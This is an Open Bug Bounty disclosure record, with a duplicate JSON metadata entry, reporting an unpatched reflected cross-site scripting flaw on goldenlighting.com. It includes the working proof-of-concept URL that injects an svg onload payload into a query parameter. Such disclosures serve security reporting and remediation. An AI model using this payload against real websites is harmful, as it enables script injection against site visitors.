Description
##### Vulnerable URL:
http://www.goldenlighting.com/app/site/query/getcustomermessage.nl/c.1029593/n.1/.f?&unrecognizedtext;=Welcome+to+IS+Custom+Uniforms%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E
##### Details:
Description| Value
---|---
Patched:| No
Latest check for patch:| 19.01.2018
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 2323610
VIP website status:| No
##### Coordinated Disclosure Timeline:
Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 21 October, 2017 12:07 GMT
Generic security notifications sent to website owner| 21 October, 2017 12:09 GMT
Notification sent to subscribers (without technical details)| 21 October, 2017 14:17 GMT
Vulnerability details disclosed by researcher| 19 January, 2018 12:24 GMT
{"type": "openbugbounty", "lastseen": "2018-01-19T23:23:20", "href": "https://www.openbugbounty.org/reports/359471/", "cvss": {"score": 0.0, "vector": "NONE"}, "reporter": "Spam404", "description": "##### Vulnerable URL:\n \n \n http://www.goldenlighting.com/app/site/query/getcustomermessage.nl/c.1029593/n.1/.f?&unrecognizedtext;=Welcome+to+IS+Custom+Uniforms%22%3E%3Csvg/onload=prompt(/OPENBUGBOUNTY/)%3E\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| No \nLatest check for patch:| 19.01.2018 \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| 2323610 \nVIP website status:| No \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability submitted via Open Bug Bounty| 21 October, 2017 12:07 GMT \nGeneric security notifications sent to website owner| 21 October, 2017 12:09 GMT \nNotification sent to subscribers (without technical details)| 21 October, 2017 14:17 GMT \nVulnerability details disclosed by researcher| 19 January, 2018 12:24 GMT\n", "bulletinFamily": "bugbounty", "references": [], "viewCount": 9, "cvelist": [], "openbugbounty": {"mirror": "", "patchStatus": "unpatched"}, "enchantments_done": [], "title": "goldenlighting.com XSS vulnerability ", "id": "OBB:359471", "modified": "2018-01-19T12:24:00", "published": "2017-10-21T12:07:00", "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647826139, "score": 1659783552, "epss": 1678845721}}
{}